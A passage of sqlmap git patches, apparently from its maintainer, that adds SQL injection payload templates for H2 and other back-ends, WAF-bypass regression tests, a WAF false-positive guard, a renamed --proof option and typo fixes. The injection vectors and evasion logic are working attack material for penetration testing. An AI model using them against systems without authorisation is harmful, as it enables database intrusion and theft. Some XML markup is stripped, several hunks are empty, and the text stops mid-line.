lib/utils/safe2bin.py de4be7e291db0962cd59f9c04b3f7259f846e315df1fd9b323954f89fae0b2db lib/utils/search.py @@ -400,7 +400,7 @@ ba04af3683b9a6e29e8fa6b3bf436a57e59435cebb042414f2df82018d91599e plugins/dbms/m 38ade085f9f1b227eda8c89f78e3ce869e8f430c98bef0cc7cbd2c7dcd60c24e plugins/dbms/mssqlserver/fingerprint.py 1ecde09e80d7b709a710281f4983a6831bc02ca3458ae0b97b28446d6db241b4 plugins/dbms/mssqlserver/__init__.py a89074020253365b6c95a4fa53e41fb0dc16f26a209b31f28e65910f26b81d21 plugins/dbms/mssqlserver/syntax.py -57f263084438e9b2ec2e62909fc51871e9eefb1a9156bbe87908592c5274b639 plugins/dbms/mssqlserver/takeover.py +099f17ba54181e0dc4da721db6a2ef52f6b8e57adeaf69248500754f4ecf398d plugins/dbms/mssqlserver/takeover.py 275ffb2a63c179a5b1673866fcd4020d7f30a68e6d7736e7e21094e2a3234578 plugins/dbms/mysql/connector.py 51590c30177adf8c435e4d6d4be070f6708d81793f70577d9317daa4ef2485ba plugins/dbms/mysql/enumeration.py 5114ca85e5aac6eaebf2ca2cf6b944250329d2d5c36a36015ac34599c9437838 plugins/dbms/mysql/filesystem.py diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml index 90bed48b2..1e237c9f6 100644 --- a/data/xml/payloads/error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -880,7 +880,7 @@ <risk>1</risk> <clause>1,2,3,9</clause> <where>1</where> - <vector>AND [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector> + <vector>AND [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS Nullable(String))||'[DELIMITER_STOP]')</vector> <request> <payload>AND [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload> </request> @@ -899,7 +899,7 @@ <risk>3</risk> <clause>1,2,3,9</clause> <where>1</where> - <vector>OR [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector> + <vector>OR [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS Nullable(String))||'[DELIMITER_STOP]')</vector> <request> <payload>OR [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload> </request> diff --git a/data/xml/payloads/inline_query.xml b/data/xml/payloads/inline_query.xml index 7269be695..5b28c05a8 100644 --- a/data/xml/payloads/inline_query.xml +++ b/data/xml/payloads/inline_query.xml @@ -141,7 +141,7 @@ <risk>1</risk> <clause>1,2,3,8</clause> <where>3</where> - <vector>('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector> + <vector>('[DELIMITER_START]'||CAST(([QUERY]) AS Nullable(String))||'[DELIMITER_STOP]')</vector> <request> <payload>('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload> </request> diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 71d86f054..c450aa1d7 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -94,6 +94,7 @@ from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import UPPER_RATIO_BOUND from lib.core.settings import URI_HTTP_HEADER +from lib.core.settings import WAF_BLOCK_HTTP_CODES from lib.core.threads import getCurrentThreadData from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request @@ -588,6 +589,18 @@ def checkSqlInjection(place, parameter, value): break if injectable: + # WAF/IPS block-artifact guard: a TRUE condition (the always-true payload that + # mimics a legitimate request) coming back with a blocked HTTP status (e.g. 403) + # while the FALSE condition passes (2xx) is the WAF answering, not the database. + # A real boolean injection's TRUE condition reproduces the normal page, so this + # status-code asymmetry is the classic false positive - refuse it here. + if not kb.negativeLogic and trueCode in WAF_BLOCK_HTTP_CODES and (falseCode or 0) < 400 and (kb.heuristicCode or 200) < 400: + warnMsg = "%sparameter '%s' TRUE/FALSE responses differ only by a blocked HTTP %d vs %d status, " % ("%s " % paramType if paramType != parameter else "", parameter, trueCode, falseCode) + warnMsg += "which is characteristic of a WAF/IPS block rather than a SQL injection; skipping as a likely false positive" + logger.warning(warnMsg) + injectable = False + continue + if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.titles, kb.nullConnection)): if all((falseCode, trueCode)) and falseCode != trueCode and trueCode != kb.heuristicCode: suggestion = conf.code = trueCode diff --git a/lib/controller/controller.py b/lib/controller/controller.py index afe65d9d7..bd3418d35 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -817,7 +817,7 @@ def start(): try: action() finally: - if conf.prove: + if conf.proof: from lib.utils.prove import proveExploitation proveExploitation() diff --git a/lib/core/agent.py b/lib/core/agent.py index ea0f206b7..67b5d8857 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -827,7 +827,7 @@ class Agent(object): def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None): """ - Take in input an query (pseudo query) string and return its + Take in input a query (pseudo query) string and return its processed UNION ALL SELECT query. Examples: diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index 7b8bb595b..0f2b50b14 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -210,9 +210,9 @@ class BigArray(list): except (OSError, IOError) as ex: errMsg = "exception occurred while storing data " errMsg += "to a temporary file ('%s'). Please " % ex - errMsg += "make sure that there is enough disk space left. If problem persists, " + errMsg += "make sure that there is enough disk space left. If the problem persists, " errMsg += "try to set environment variable 'TEMP' to a location " - errMsg += "writeable by the current user" + errMsg += "writable by the current user" raise SqlmapSystemException(errMsg) def _checkcache(self, index): diff --git a/lib/core/common.py b/lib/core/common.py index 6ec8a9572..2d4c7bc51 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2761,7 +2761,7 @@ def getPartRun(alias=True): def longestCommonPrefix(*sequences): """ - Returns longest common prefix occuring in given sequences + Returns longest common prefix occurring in given sequences # Reference: http://boredzo.org/blog/archives/2007-01-06/longest-common-prefix-in-python-2 @@ -3158,7 +3158,7 @@ def getPublicTypeMembers(type_, onlyValues=False): def enumValueToNameLookup(type_, value_): """ - Returns name of a enum member with a given value + Returns name of an enum member with a given value >>> enumValueToNameLookup(SORT_ORDER, 100) 'LAST' diff --git a/lib/core/option.py b/lib/core/option.py index 118ba15ae..5cb69d297 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -608,7 +608,7 @@ def _setMetasploit(): else: warnMsg = "the provided Metasploit Framework path " warnMsg += "'%s' is not valid. The cause could " % conf.msfPath - warnMsg += "be that the path does not exists or that one " + warnMsg += "be that the path does not exist or that one " warnMsg += "or more of the needed Metasploit executables " warnMsg += "within msfcli, msfconsole, msfencode and " warnMsg += "msfpayload do not exist" @@ -1675,9 +1675,9 @@ def _createTemporaryDirectory(): except Exception as ex: warnMsg = "there has been a problem while accessing " warnMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex) - warnMsg += "make sure that there is enough disk space left. If problem persists, " + warnMsg += "make sure that there is enough disk space left. If the problem persists, " warnMsg += "try to set environment variable 'TEMP' to a location " - warnMsg += "writeable by the current user" + warnMsg += "writable by the current user" logger.warning(warnMsg) if "sqlmap" not in (tempfile.tempdir or "") or conf.tmpDir and tempfile.tempdir == conf.tmpDir: diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 1631bd051..af5c5ab6b 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -100,7 +100,7 @@ optDict = { "prefix": "string", "suffix": "string", "tamper": "string", - "prove": "boolean", + "proof": "boolean", }, "Detection": { diff --git a/lib/core/settings.py b/lib/core/settings.py index faf1d11db..dfc4af210 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.10.6.122" +VERSION = "1.10.6.123" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -54,6 +54,11 @@ IPS_WAF_CHECK_RATIO = 0.5 # Timeout used in heuristic check for WAF/IPS protected targets IPS_WAF_CHECK_TIMEOUT = 10 +# HTTP status codes a WAF/IPS typically returns when it blocks a request. Used to reject a boolean +# "injection" whose only TRUE/FALSE difference is the always-true payload being blocked (a status-code +# false positive) rather than the back-end actually answering. +WAF_BLOCK_HTTP_CODES = (403, 406, 429, 451, 501, 503) + # Candidate tamper scripts for automatic WAF-bypass, ordered by empirical WAF-bypass value # (structural token-substitution first, camouflage last; per identYwaf data). The back-end DBMS # is not pre-filtered here: semantics-preservation is verified at runtime by re-running detection diff --git a/lib/core/testing.py b/lib/core/testing.py index 8ab1aaa1a..e082dce19 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -61,7 +61,7 @@ def vulnTest(): ("-u <url> --data=\"security_level=3\" -p id --flush-session --technique=B", ("bypassed the WAF/IPS by using tamper script", "Type: boolean-based blind")), # automatic WAF-bypass: SQL-tamper dimension at a stricter signature threshold ("-u <url> --data=\"security_level=4\" -p id --flush-session --technique=B --banner", ("random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS", "Type: boolean-based blind", "banner: '3.")), # automatic WAF-bypass against a libinjection-class WAF: tampers cannot help, only the non-scanner User-Agent does ("-u <url> --data=\"security_level=5\" -p id --flush-session --technique=B", ("unable to automatically bypass the WAF/IPS", "does not seem to be injectable")), # automatic WAF-bypass honest bail: a libinjection-class WAF that no User-Agent or tamper can defeat - ("-u <url> -p id --flush-session --prove", ("sqlmap proved exploitation of the following injection point", "Parameter: id (GET)", "Technique: boolean-based blind", "TRUE (5/5)", "repeatably", "Retrieved: back-end DBMS banner '3.")), # --prove: report-grade proof in the injection-point style - forces the boolean technique (so a multi-technique point still proves), and actively reads a value out as the strongest proof + ("-u <url> -p id --flush-session --proof", ("sqlmap proved exploitation of the following injection point", "Parameter: id (GET)", "Technique: boolean-based blind", "TRUE (5/5)", "repeatably", "Retrieved: back-end DBMS banner '3.")), # --proof: report-grade proof in the injection-point style - forces the boolean technique (so a multi-technique point still proves), and actively reads a value out as the strongest proof ("-r <request> --flush-session -v 5 --test-skip=\"heavy\" --save=<config>", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")), ("-c <config>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind")), ("-l <log> --flush-session --keep-alive --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")), diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index f3e99ecf4..1ef639ed6 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -375,7 +375,7 @@ def cmdLineParser(argv=None): injection.add_argument("--tamper", dest="tamper", help="Use given script(s) for tampering injection data") - injection.add_argument("--prove", dest="prove", action="store_true", + injection.add_argument("--proof", dest="proof", action="store_true", help="Prove exploitation of the detected injection point(s)") # Detection options diff --git a/lib/request/inject.py b/lib/request/inject.py index 2bb641aca..417b638d7 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -162,8 +162,8 @@ def _goInferenceFields(expression, expressionFields, expressionFieldsList, paylo def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, charsetType=None, firstChar=None, lastChar=None, dump=False): """ - Retrieve the output of a SQL query characted by character taking - advantage of an blind SQL injection vulnerability on the affected + Retrieve the output of a SQL query character by character taking + advantage of a blind SQL injection vulnerability on the affected parameter through a bisection algorithm. """ @@ -209,9 +209,11 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char test = False if test: - # Count the number of SQL query entries output - countFirstField = queries[Backend.getIdentifiedDbms()].count.query % expressionFieldsList[0] - countedExpression = expression.replace(expressionFields, countFirstField, 1) + # Count the number of SQL query entries output. NOTE: COUNT(*) (row count), not + # COUNT(<first field>) - the latter excludes NULLs and would drop NULL-valued rows from + # the dump (e.g. dumping a single column whose value is NULL on some rows). + countField = queries[Backend.getIdentifiedDbms()].count.query % '*' + countedExpression = expression.replace(expressionFields, countField, 1) if " ORDER BY " in countedExpression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index 2eb38c1c4..4b5a645c5 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -326,8 +326,10 @@ def errorUse(expression, dump=False): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump) if limitCond: - # Count the number of SQL query entries output - countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1) + # Count the number of SQL query entries output. NOTE: always COUNT(*) (row count); a single + # field must NOT use COUNT(field) as that excludes NULLs and would drop NULL-valued rows from + # the dump (e.g. a column whose value is NULL on some rows). + countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % '*', 1) if " ORDER BY " in countedExpression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 59ce5de67..bb008579f 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -295,8 +295,10 @@ def unionUse(expression, unpack=True, dump=False): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump) if limitCond: - # Count the number of SQL query entries output - countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1) + # Count the number of SQL query entries output. NOTE: always COUNT(*) (row count); a single + # field must NOT use COUNT(field) as that excludes NULLs and would drop NULL-valued rows from + # the dump (e.g. a column whose value is NULL on some rows). + countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % '*', 1) if " ORDER BY " in countedExpression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") diff --git a/lib/utils/prove.py b/lib/utils/prove.py index f435e6b37..af11306c9 100644 --- a/lib/utils/prove.py +++ b/lib/utils/prove.py @@ -104,12 +104,16 @@ def _signalArtifacts(expression): return None, None -def _proveBoolean(injection): +def _proveBoolean(injection, signal=None): """ Demonstrates deterministic boolean control, rendered with the distinguishing signal sqlmap already auto-selected (--string / --code / --title), repeated to show it is stable (not a fluke). The signal line quotes the actual distinguishing artifact: the matched string, the two HTTP codes, or the two page titles - so a reader sees exactly what tells TRUE from FALSE. + + When a mutable 'signal' dict is supplied it is filled with the distinguishing artifact (code-based? + and the TRUE/FALSE HTTP codes) so the caller can tell a genuine signal from a blocked-response (WAF) + artifact - a TRUE condition that yields an HTTP 4xx is a block, not a database answer. """ retVal = [] @@ -128,6 +132,10 @@ def _proveBoolean(injection): trueCode, trueTitle = _signalArtifacts("%d=%d" % (n, n)) falseCode, falseTitle = _signalArtifacts("%d=%d" % (n, n + 1)) + if signal is not None: + signal["codeBased"] = bool(injection.conf.code) + signal["trueCode"], signal["falseCode"] = trueCode, falseCode + if injection.conf.string: retVal.append("the response contains %s only when the condition is TRUE" % repr(injection.conf.string).lstrip('u')) elif injection.conf.notString: @@ -277,7 +285,7 @@ def _retrieveProof(): def proveExploitation(): """ Renders a report-grade, best-effort demonstration of exploitation for the confirmed injection point - (option '--prove'), in the same style as sqlmap's injection-point summary so it reads naturally: the + (option '--proof'), in the same style as sqlmap's injection-point summary so it reads naturally: the target URL and the confirmed injection point (parameter / type / title / payload), then the strongest proof first - an actual value read out of the back-end (drilling from the plain read to a more evasive one so a WAF/IPS does not stop it) - backed by a deterministic boolean differential (rendered with the @@ -290,11 +298,12 @@ def proveExploitation(): injection = kb.injection if getattr(kb.injection, "place", None) else kb.injections[0] + signal = {} saved = _activateInjection(injection) try: if PAYLOAD.TECHNIQUE.BOOLEAN in injection.data: stype = PAYLOAD.TECHNIQUE.BOOLEAN - proof = _proveBoolean(injection) + proof = _proveBoolean(injection, signal) elif PAYLOAD.TECHNIQUE.TIME in injection.data or PAYLOAD.TECHNIQUE.STACKED in injection.data: stype = PAYLOAD.TECHNIQUE.TIME if PAYLOAD.TECHNIQUE.TIME in injection.data else PAYLOAD.TECHNIQUE.STACKED proof = _proveTime(injection) @@ -330,16 +339,40 @@ def proveExploitation(): if sdata.payload: payload = urldecode(agent.adjustLateValues(sdata.payload), unsafe="&", spaceplus=(injection.place != PLACE.GET and kb.postSpaceToPlus)) fields.append(_field("Payload", payload)) - if proof: - fields.append(_field("Proof", proof)) - if rungs: + # Reading a value back out of the back-end is the GATE, not a bonus: it is the only thing that + # distinguishes a real injection from a differential that merely correlates with the payload. A + # WAF/IPS that answers blocked payloads with a distinct HTTP status (e.g. 403 when TRUE, 200 when + # FALSE) reproduces a perfect, repeatable boolean differential WITHOUT any SQL ever executing - so + # the differential alone is exactly the signal detection already (mis)read. If nothing could be read + # back, exploitation is NOT proven; say so plainly instead of echoing the detection verdict. + proven = bool(rungs) + + if proven: + if proof: + fields.append(_field("Proof", proof)) for label, text in rungs: fields.append(_field(label, text)) + header = "sqlmap proved exploitation of the following injection point" else: - fields.append(_field("Retrieved", "(no value could be read back; the proof above still confirms exploitation)")) + if proof: + fields.append(_field("Observed", proof)) # the differential is observed, but unconfirmed + suspectWaf = bool(signal.get("codeBased")) and (signal.get("trueCode") or 0) >= 400 + wafInterfering = suspectWaf or kb.droppingRequests or bool(kb.identifiedWafs) + verdict = ["no value could be read back through the injection (tried a random arithmetic product and the DBMS banner)"] + if suspectWaf: + verdict.append("the TRUE/FALSE difference is only an HTTP %s (blocked) response - characteristic of a WAF/IPS, not a database answer" % signal.get("trueCode")) + if wafInterfering: + # behind a WAF, an unconfirmed read-back is ambiguous: a genuine injection whose data-retrieval + # payloads are being blocked looks the same as a pure WAF artifact - so don't assert "false + # positive", point the user at the way to disambiguate instead + verdict.append("a WAF/IPS is interfering: this may be a real injection whose data-retrieval is blocked, or a false positive") + verdict.append("=> exploitation is NOT proven; re-test directly (no WAF) or with --tamper, then re-prove") + else: + verdict.append("=> exploitation is NOT proven; the reported injection is likely a FALSE POSITIVE") + fields.append(_field("Verdict", verdict)) + header = "sqlmap could NOT prove exploitation of the reported injection point" data = "\n".join(fields) - header = "sqlmap proved exploitation of the following injection point" conf.dumper.string(header, data) try: diff --git a/plugins/dbms/mssqlserver/takeover.py b/plugins/dbms/mssqlserver/takeover.py index 53c1b0787..23a10b318 100644 --- a/plugins/dbms/mssqlserver/takeover.py +++ b/plugins/dbms/mssqlserver/takeover.py @@ -61,7 +61,7 @@ class Takeover(GenericTakeover): break if not addrs: - errMsg = "sqlmap can not exploit the stored procedure buffer " + errMsg = "sqlmap cannot exploit the stored procedure buffer " errMsg += "overflow because it does not have a valid return " errMsg += "code for the underlying operating system (Windows " errMsg += "%s Service Pack %d)" % (Backend.getOsVersion(), Backend.getOsServicePack()) From a2d44a7a16060a93e873164e980d0783ef713538 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= <miroslav.stampar@gmail.com> Date: Fri, 19 Jun 2026 00:55:11 +0200 Subject: [PATCH 029/165] Minor patching --- data/txt/sha256sums.txt | 14 +++++------ data/xml/payloads/error_based.xml | 38 +++++++++++++++++++++++++++++ data/xml/queries.xml | 6 ++--- lib/core/enums.py | 1 + lib/core/settings.py | 2 +- plugins/dbms/monetdb/fingerprint.py | 2 +- plugins/dbms/presto/enumeration.py | 11 ++------- plugins/dbms/presto/fingerprint.py | 21 ++++++++++++++++ 8 files changed, 74 insertions(+), 21 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 18bc61608..993c89b1d 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -79,12 +79,12 @@ e2febc92f9686eacf17a0054f175917b783cc6638ca570435a5203b03245fc18 data/xml/banne a32fc8796082d2e45cfc969f0b45ad476bf87a8515d67b2fed77c5058df5a0f5 data/xml/boundaries.xml 0baf0fade74d4ad294ee88ef306743da0c6a4631b8d640708809103ef9cf63ed data/xml/errors.xml d0b094a110bccec97d50037cc51445191561c0722ec53bf2cebe1521786e2451 data/xml/payloads/boolean_blind.xml -6ebf0da74b18c95aee4fd4fc2874bda4b3780dc4254806f3968b953fa01bdca1 data/xml/payloads/error_based.xml +2da9159c066c66b47767f66e8c46ed94394f9511940c32e6adf454126197443b data/xml/payloads/error_based.xml 516a2ff314bba3ecf65d0371bf8c2654ad79b09c0737b1fe0f178d7885a9508d data/xml/payloads/inline_query.xml 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml 997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml -38882b6ceb8bca59ce8ed927abe3b8840394c56b3881371c2103e229b8795040 data/xml/queries.xml +f01093d5a1ff6a58653e7058a93e15801d9446f1f2c5de5b5d1054f17dd1ad44 data/xml/queries.xml e043101194219a2e4c8bc352f0d3a04b87e1c28b1bcd6c13f6d5d1c9e260b653 doc/ARCHITECTURE.md 0f5a9c84cb57809be8759f483c7d05f54847115e715521ac0ecf390c0aa68465 doc/AUTHORS ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md @@ -177,7 +177,7 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py 2f44a1bfe6f18aafe64147b99e69aa93cf438c0e7befe59f4e2aee9065c8b7b6 lib/core/dicts.py 2592b0fd38c272c0b0d49878f4449437eb8ba8ff7536bb39b2ac9a2511010f7c lib/core/dump.py -e4f92e09737ff0dda7ec30e0db1912570e252853b3af9b8f2b9f68ad33cf09fe lib/core/enums.py +6b6514202c6ca2d29069176bccf10492927d83e6ede06c9f4b4fcc6164e61856 lib/core/enums.py 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -5edba86522bc49aa6caf80118fc560610e76cc7f35a3c3c09a8052747a3b97ef lib/core/settings.py +25506d477075d1a33849a4db1058e1fb0cc98100e714c1afa0e7e98cad2f2901 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -390,7 +390,7 @@ e9ef99b83542121ac4489526ecb90def4bba9ec62a0dd990bb39d7db387c5ff6 plugins/dbms/m 8a9d30546e3e96295b59bb5e53b352d039f785e0fa8ae19b2073083f1555f45b plugins/dbms/monetdb/connector.py ba04af3683b9a6e29e8fa6b3bf436a57e59435cebb042414f2df82018d91599e plugins/dbms/monetdb/enumeration.py 672dc9b3d291aa4f5d6c4cbe364e92b92e19ee6de86f6d9b9a4dda7d5611b409 plugins/dbms/monetdb/filesystem.py -5fd3a9eb6210c32395e025e327bfeb24fd18f0cc7da554be526c7f2ae9af3f7d plugins/dbms/monetdb/fingerprint.py +7188530754349b765b9842ad8f416766fd7035f131ad6444156ae0de45efc8fe plugins/dbms/monetdb/fingerprint.py 05dc581f0fbed20030200e5c7bd45a971ad4e910c6502ad02cc6c26fd5937003 plugins/dbms/monetdb/__init__.py 78f1ff4b82fd4af50e1fbdb81539862f1c31258cda212b39f4a8501960f1b95e plugins/dbms/monetdb/syntax.py 236fd244f0bbc3976b389429a8176feda6c243267564c2a0eff6fc2458c1b3f9 plugins/dbms/monetdb/takeover.py @@ -423,9 +423,9 @@ bdb13225f822227c32051a296918b3ed423a0644ce0c962db13a0dc0e9636395 plugins/dbms/p 4fce63dd766a35b7273351df2de706c37a0392479578705853b4333c119f2270 plugins/dbms/postgresql/syntax.py d3cb1ebaf594b30cebddd16a8dcf6cf33a3536c3da4caf7e4b9d8c910288eb8d plugins/dbms/postgresql/takeover.py 9a63ef08407c1f4686679343e733bfc124d287ebadf747db5ecbc3abed694462 plugins/dbms/presto/connector.py -23e2fb4fc9c6b84d7503986f311da9c3a9c6eb261433f80be1e854144ebb15b4 plugins/dbms/presto/enumeration.py +1c966d62ce361cf681202be88d839a9bd2677b1444e6998778151ab27647199e plugins/dbms/presto/enumeration.py 874532c0a1a09e2c3d6ea5f4b9e12552ce18ae04a8d13a9f8e099071760f4a73 plugins/dbms/presto/filesystem.py -acd58559efbce9f94683260c45619286b5bb015ff5dbf39b9e8c9b286f34fbe8 plugins/dbms/presto/fingerprint.py +338fbc37ae85f293f07461127dd1465a3ad6bc6bedcdb025ffac35df8bfc8949 plugins/dbms/presto/fingerprint.py 5c104b3ee2e86bf29a8f446d7779470b42d173e87b672c43257289b0d798d2b1 plugins/dbms/presto/__init__.py 859cc5b9be496fe35f2782743f8e573ff9d823de7e99b0d32dbc250c361c653e plugins/dbms/presto/syntax.py 98e28b754352529381b5cffdc701a1c08158d7e7466764310627280d51f744ba plugins/dbms/presto/takeover.py diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml index 1e237c9f6..a6ad852cd 100644 --- a/data/xml/payloads/error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -911,6 +911,44 @@ </details> </test> + <test> + <title>H2 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (CAST) + 2 + 1 + 1 + 1,2,3,9 + 1 + AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INT) + + AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]' AS INT) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ H2 +
+ + + + H2 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (CAST) + 2 + 4 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INT) + + OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]' AS INT) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ H2 +
+
+ Spanner AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause 2 diff --git a/data/xml/queries.xml b/data/xml/queries.xml index a7f0dd452..cc26298ea 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1136,9 +1136,9 @@ /> - + - + @@ -1424,7 +1424,7 @@ - + diff --git a/lib/core/enums.py b/lib/core/enums.py index ed3325025..b96312b9a 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -114,6 +114,7 @@ class FORK(object): DM8 = "DM8" DORIS = "Doris" STARROCKS = "StarRocks" + TRINO = "Trino" class CUSTOM_LOGGING(object): PAYLOAD = 9 diff --git a/lib/core/settings.py b/lib/core/settings.py index dfc4af210..85bb46107 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.123" +VERSION = "1.10.6.124" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/monetdb/fingerprint.py b/plugins/dbms/monetdb/fingerprint.py index 83c065d18..e429a9315 100644 --- a/plugins/dbms/monetdb/fingerprint.py +++ b/plugins/dbms/monetdb/fingerprint.py @@ -68,7 +68,7 @@ class Fingerprint(GenericFingerprint): infoMsg = "testing %s" % DBMS.MONETDB logger.info(infoMsg) - result = inject.checkBooleanExpression("isaurl(NULL)=false") + result = inject.checkBooleanExpression("isaurl(NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MONETDB diff --git 